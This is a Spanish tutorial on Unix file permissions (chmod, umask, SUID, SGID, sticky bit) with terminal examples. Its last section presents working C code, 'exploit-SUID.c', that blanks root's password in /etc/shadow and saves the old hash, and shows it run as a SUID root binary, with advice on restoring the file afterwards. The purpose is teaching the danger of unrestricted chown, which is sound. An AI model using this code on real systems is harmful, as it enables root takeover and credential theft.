El permiso de ejecución

El comportamiento de este permiso es el siguiente:

• Si un fichero normal tiene activado este permiso significa que podremos ejecutarlo. Este permiso es util para binarios y/o scripts, es decir programas.

• Si un directorio tiene activado este permiso significa que podremos entrar en ese directorio mediante cd.

El permiso de escritura

El comportamiento de este permiso es el siguiente:

• Si un fichero normal tiene activado este permiso significa que podremos modificar el contenido de ese fichero.

• Si un directorio tiene activado este permiso significa que podremos modificar el contenido de un directorio. Modificar el contenido de un directorio significa poder añadir y/o borrar ficheros dentro de ese directorio. Para poder borrar ficheros necesitamos tener permisos de escritura sobre ellos.

El permiso de lectura

El comportamiento de este permiso es el siguiente:

• Si un fichero normal tiene activado este permiso significa que podremos leer el contenido del fichero.

• Si un directorio tiene activado este permiso significa que podremos leeer el contenido del fichero, por ejemplo mediante el uso de ls.

Cambiando los permisos de forma intuitiva

Podemos cambiar los permisos de forma intuitiva, esta es la forma más fácil para usuarios no familiarizados con sistemas UNIX.

La razón de decir que es una forma intuitiva es porque los usuarios ya experimentados lo hacen especificando los permisos en notación octal.

Para asignar permisos podemos utilizar:

• u, se utiliza para especificar los permisos para el propietario del fichero.

• g, se utiliza para especificar los permisos para el grupo del propietario del fichero.

• o, se utiliza para especificar los permisos de usuarios que no estan en el grupo del propietario.

• a, se utiliza para establecer permisos en todas las categorís anteriores.

• =, se utiliza para establecer unos permisos determinados para una categoría.

• +, se utiliza para añdir permisos a los ya existentes a una categoría.

• -se utiliza para eliminar permisos a los ya existentes a una categoría.

Veamos unos ejemplos:

[bender@debian bender]$ ll
total 24
-r--r--r--    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rw-r-----    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ chmod u+w,o-r agenda ; ll
total 24
-rw-r-----    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rw-r-----    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ chmod a=r robopilinguis ; ll
total 24
-rw-r-----    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-r--r--r--    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$

El usuario bender ha hecho lo siguiente:

1. Ha añadido el permiso de escritura para el propietario, el mismo, y le ha quitado el permiso de lectura a todos los usuarios que no estan en su grupo para el fichero agenda.

2. Ha establecido que el fichero robopilinguis tenga unicamente permisos de lectura para todo el mundo.

Podemos añadir el flag -v y nos informará del resultado:

[bender@debian bender]$ ll
total 24
-r--r--r--    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rw-r-----    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ chmod g-r,o-r -v robopilinguis
el modo de `robopilinguis' cambia a 0400 (r--------)
[bender@debian bender]$  ll
total 24
-rw-r-----    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-r--------    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ 

Cambiar los permisos en octal

La forma que hemos visto es muy intuitiva, pero es muy tediosa. Tenemos que escribir muchas cosas.

Evitar esto podemos hacerlo indicando los permisos como un número en octal. La razón es que cada categoría esta representada con tres caracteres. y para especificar que permisos permitimos pondremos un uno y los que no un cero y con tres digitos en binario se pueden representar ocho números, por eso octal.

Esta es la forma en la que la mayoría de la gente establece sus permisos:

Para establecer estos permisos:

[bender@debian bender]$ ll
total 24
-r--r--r--    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rw-r-----    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ chmod 754 robopilinguis
[bender@debian bender]$  ll
total 24
-rw-r-----    1 bender   users       137554 may 29 12:17 agenda
drwxr-xr-x    2 bender   users        4096 may 29 12:17 estafas
-rwxr-xr--    1 bender   users         8887 may 29 12:16 robopilinguis
[bender@debian bender]$ 

Estableciendo la máscara en octal

La forma de establecer la máscara es poner a cero los permisos que se quieren conceder por defecto y a uno los que no:

Para establecer una nueva máscara:

[bender@debian bender]$ umask -S
u=rwx,g=rx,o=rx
[bender@debian bender]$ umask 026
[bender@debian bender]$ umask -S
u=rwx,g=rx,o=x
[bender@debian bender]$ 

Si cambiamos la máscara y finalizamos sesión esos cambios se perderán y tendremos que volver a cambiar la máscara ya que se pondrá la que tenga por defecto el sistema. Una forma de hacerlo sería estableciendo la máscara en nuestros perfiles que estarán en los ficheros .bash_profile o .bashrc si estamos utilizando la shell bash.

El permiso SUID

Hay veces que es necesario que un programa se ejecute con los privilegios que tiene su propietario dentro del sistema y no del usuario que lo está ejecutando.

Un ejemplo de esto es el comando passwd. Este comando establece los passwords de cada usuario dentro del sistema, pero para establecerlos necesitamos los privilegios del root para poder almacenarlos en las bases de datos del sistema (/etc/passwd, /etc/shadow).

Es práctica habitual, aunque a veces no muy recomendable, el permitir a los usuarios que se cambien sus contraseñas de acceso al sistema.

La forma de hacerlo es:

• Si no se especifica un usuario se cambia la contaseña del usuario que lo esta ejecutando:

  [bender@debian bender]$ passwd Changing password for user bender. Changing password for bender (current) UNIX password: New password: Retype new password: passwd: all authentication tokens updated successfully. [bender@debian bender]$

  Normalmente algunos usuarios abusan cambiando su contraseña y cuando no pueden acceder al sistema se suelen quejar al administrador de que el sistema se ha vuelto loco y no les reconoce el password, no dandose cuenta de que son ellos los que no se acuerdan del password correcto.

• Si se le especifica el nombre de un usuario cambia la contraseña del usuario especificado:

  [bender@debian bender]$ passwd lila passwd: Only root can specify a user name. [bender@debian bender]$

  Unicamente el usuario root puede establecer las contraseñas del resto, como era de esperar.

Tenemos un problema y es que al ejecutar passwd para almacenar la nueva contraseña se debe almacenar en ficheros en los que sólo el root puede escribir. Es necesario asumir la identidad del root para hacerlo ya que cuando ejecutamos un comando no importa quién sea el propietario se ejecutará con nuestros privilegios.

Utilizando el comando su podríamos hacerlo, pero esto presenta un problema y es que entonces se podría lanzar cualquier comando con los privilegios de dicho usuario y si ese usuario es el root tendríamos un gravísimo problema de seguridad.

La forma en la que el comando passwd lo ha hecho es que tiene activado un permiso especial, el permiso SUID. Cuando un programa tiene activado este permiso se ejecuta con los privilegios de su propietario y no con los de la persona que lo ejecuta.

SUID es un acrónimo de Set User IDentity.

Hay que tener cuidado con este permiso, especialmente si el programa pertenece al usuario root, ya que todo lo que haga el programa se hara con sus privilegios. Este tipo de permisos puede inducir problemas de seguridad, como ya veremos.

El comando passwd pertenece al usuario root y tiene activado el permiso SUID, por este motivo cuando lo ejecutamos se ejecuta con privilegios de root y puede escribir en los ficheros /etc/passwd y/o /etc/shadow:

[bender@debian bender]$ ll /usr/bin/passwd
-r-s--x--x    1 root     root        16336 feb 13 22:19 /usr/bin/passwd
[bender@debian bender]$ 

Podemos ver quiene es el propietario del comando passwd y si nos fijamos en el permiso de ejecución del propietario aparece una "s" en lugar de una "x", esto significa que tiene activado el permiso SUID y se ejecutara con los privilegios que tenga en el sistema su propietario, en este caso con los privilegios de root.

Si echamos un vistazo a los ficheros /etc/passwd y /etc/shadow:

[bender@debian bender]$ ls -l /etc/passwd
-rw-r--r--    1 root     root         1719 jun  3 10:12 /etc/passwd
[bender@debian bender]$ ls -l /etc/shadow
-r--------    1 root     root         1263 jun  3 11:24 /etc/shadow
[bender@debian bender]$ 

Vemos que unicamente el usuario root puede escribir en ellos. Por este motivo a la hora de actualizar las contraseñs es necesario tener privilegios de root.

Estableciendo el permiso SUID

Supongamos que el comando passwd no tiene activado el permiso SUID:

[bender@debian bender]$ passwd Changing password for user bender. passwd: Authentication token manipulation error [bender@debian bender]$

Se produce un error ya que al no tener activado el permiso SUID se ejecuta con los privilegios del usuario bender, que no puede escribir en los ficheros /etc/passwd y /etc/shadow.

Para activar este permiso tendremos que anteponer un "4" a los permisos normales:

[root@debian root]# ll /usr/bin/passwd -r-x--x--x 1 root root 16336 feb 13 22:19 /usr/bin/passwd [root@debian root]# chmod 4511 /usr/bin/passwd [root@debian root]# ll /usr/bin/passwd -r-s--x--x 1 root root 16336 feb 13 22:19 /usr/bin/passwd [root@debian root]#

Este permiso sólo afecta a los ficheros binarios y no a los scripts (con la excepción de los scripts de PERL).

Este permiso no tiene ningún efecto sobre los directorios.

Si el usuario root ejecuta un fichero perteneciente a otro usuario con este bit activado se ejecutará con los privilegios del usuario propietario y no con los del root.

El permiso SGID

SGID es un acrónimo de Set Group IDentity.

El funcionamiento de este permiso es igual que el SUID sólo que el comando se ejecutará con los privilegios del grupo del propietario en lugar de los privilegios del propietario.

Estableciendo el permiso SGID

Para activar este permiso tendremos que anteponer un "2" a los permisos normales:

[root@debian root]# ll /usr/bin/passwd -r-x--x--x 1 root root 16336 feb 13 22:19 /usr/bin/passwd [root@debian root]# chmod 2511 /usr/bin/passwd [root@debian root]# ll /usr/bin/passwd -r-x--s--x 1 root root 16336 feb 13 22:19 /usr/bin/passwd [root@debian root]#

Este permiso sólo afecta a los ficheros binarios y no a los scripts (con la excepción de los scripts de PERL).

Si el usuario root ejecuta un fichero perteneciente a otro usuario con este bit activado se ejecutará con los privilegios del grupo del usuario propietario y no con los del grupo del root.

El Sticky bit

Un programa con este permiso activado permanece en memoria después de terminar su ejecución, esto hará que la proxima vez que lo ejecutemos se ejecute más rápido ya que está en memoria, pero tiene un coste asociado y es que se pierde memoria ya que el programa se queda en la memoria al terminar la ejecución y esto puede saturar la memoria de nuestro sistema.

Los ficheros que tienen este permiso activado mostrarán una "t" en el permiso de ejecución del resto de usuarios, última "x":

[bender@debian bender]# find /root -perm +1000 -exec ls -l {} \;
-rwxr-xr-t    1 root     root         1581 jun  5 12:09 /root/dd
[bender@debian bender]# 

El Sticky bit y los directorios

El Sticky Bit afecta a los directorios de una forma especial.

Este bit se utiliza para tener una mayor seguridad sobre los ficheros contenidos en él. Si un directorio tiene activado ese bit no importa los permisos que tengan los ficheros en él contenidos, los únicos usuarios que podrán borrar o renombrar ficheros serán el propietario del fichero, el propietario del directorio o el root.

Esta característica permite que dentro de un directorio todos los usuarios, con acceso, puedan cambiar el contenido de los ficheros. Pero que ninguno, excepto los anteriormente citados, pueda borrar o cambiar el nombre de los ficheros.

Problemas de seguridad con chown

Veamos un ejemplo un poco más práctico sobre la peligrosidad del comando chown.

El siguiente programa lee el fichero /etc/shadow y lo reemplaza pero dejando el campo del password del root en blanco y también crea el fichero oldPass donde almacena el hashing de la contraseña del root. Esto hace que el usuario root no necesite contraseña para acceder al sistema.

/* exploit-SUID.c */

#include <stdio.h>

/* SE ASUME QUE EL FICHERO /etc/shadow TIENE LOS
   PERMISOS 640, EN CASO CONTRARIO HABRA QUE 
   MODIFICARLO PARA QUE CAMBIE LOS PERMISOS DE 
   DICHO FICHERO Y UNA VEZ SOBREESCRITO 
   RESTAURARLOS */

/* TAMAÑO DEL FICHERO A LEER, LO PODEMOS 
   CONOCER HACIENDO ls -l /etc/shadow */

#define SIZE 678

/* EL CAMPO DEL PASSWORD SON 34 CARACTERES 
   CON shadow ACTIVADO */

#define LONGPASS 34

int main (void) { /* INICIO FUCION main */

  char chrTarget[] = "/etc/shadow",
    chrRootPassFile[] = "oldPass",
    chrFileOriginal[SIZE],
    chrFileNew[SIZE-LONGPASS],
    chrRootPass[LONGPASS]; 

  int i,
    j = 0,
    k = 0,
    intCharLeidos;

  FILE *ptFile;

  /* ABRIMOS EL FICHERO PARA SOLO LECTURA */

  ptFile = fopen(chrTarget, "r");

  /* LEEMOS EL FICHERO */

  intCharLeidos = fread(chrFileOriginal, sizeof(char), SIZE, ptFile);
  
  /* CERRAMOS EL FICHERO */

  fclose(ptFile);

  /* CREAMOS EL NUEVO FICHERO DE PASSWORDS */

  for(i=0;i<intCharLeidos;i++) { /* INICIO PRIMER for */

    /* PASSWORD DEL ROOT EN EL FICHERO /etc/shadow */

    if ( i >= 5 && i <= 38 ) { /* INICIO if */

      chrRootPass[j++] = chrFileOriginal[i];
      continue;

    } /* FINAL if */

    /* FICHERO /etc/shadow SIN PASSWORD PARA EL root */

    chrFileNew[k++] = chrFileOriginal[i];

  } /* FINAL PRIMER for*/

  /* ESCRIBIMOS EL PASSWORD DEL root EN UN FICHERO APARTE */

  ptFile = fopen(chrRootPassFile,"w");
  fwrite(chrRootPass, sizeof(char), LONGPASS, ptFile);

  /* CERRAMOS EL FICHERO */

  fclose(ptFile);

  /* SOBREESCRIMOS EL FICHERO /etc/shadow */

  ptFile = fopen(chrTarget, "w");
  fwrite(chrFileNew, sizeof(char), SIZE-LONGPASS, ptFile);

  /* CERRAMOS EL FICHERO */

  fclose(ptFile);

  return 0;

} /* FINAL FUNCION main */

Si lo compilamos e ejecutamos:

[bender@debian explot]$ make exploit-SUID
cc     exploit-SUID.c   -o exploit-SUID
[bender@debian exploit]$ ./exploit-SUID
Violación de segmento
[bender@debian exploit]$ 

La explicación es sencilla, un usuario normal no puede acceder al fichero /etc/shadow.

Supongamos que en nuestro sistema se pueden regalar ficheros con el comando chown:

[bender@debian explot]$ make exploit-SUID
cc     exploit-SUID.c   -o exploit-SUID
[bender@debian exploit]$ chmod 4755 exploit-SUID
[bender@debian exploit]$ ls -l
total 12
-rwsr-xr-x    1 jose     users        5550 ago 17 12:10 exploit-SUID
-rw-r--r--    1 jose     users        1764 ago 17 11:52 exploit-SUID.c
[bender@debian exploit]$ chown root. exploit-SUID
[bender@debian exploit]$ ls -l
total 16
-rwsr-xr-x    1 root     root         5550 ago 17 12:10 exploit-SUID
-rw-r--r--    1 jose     users        1764 ago 17 11:52 exploit-SUID.c
-rw-r--r--    1 jose     root           34 ago 17 12:21 oldPass
[bender@debian exploit]$ ./exploit-SUID
[bender@debian exploit]$ ls -l
[bender@debian exploit]$ cat oldPass
$1$LLk54kWX$z1fO/T3pzzFk/CjE7pU8M.
[bender@debian exploit]$ 

Si ahora abrimos una nueva consola e intentamos hacer login como root entraremos en el sistema ya que el usuario root no tiene contraseña y cualquiera puede logearse como root. Como nuestro exploit ha realizado una copia del password antiguo del root después de nuestra pequeña incursión podemos restaurar el fichero /etc/shadow y quedará como antes de la incursión, con la excepción de la fecha de la última modificación del fichero /etc/shadow.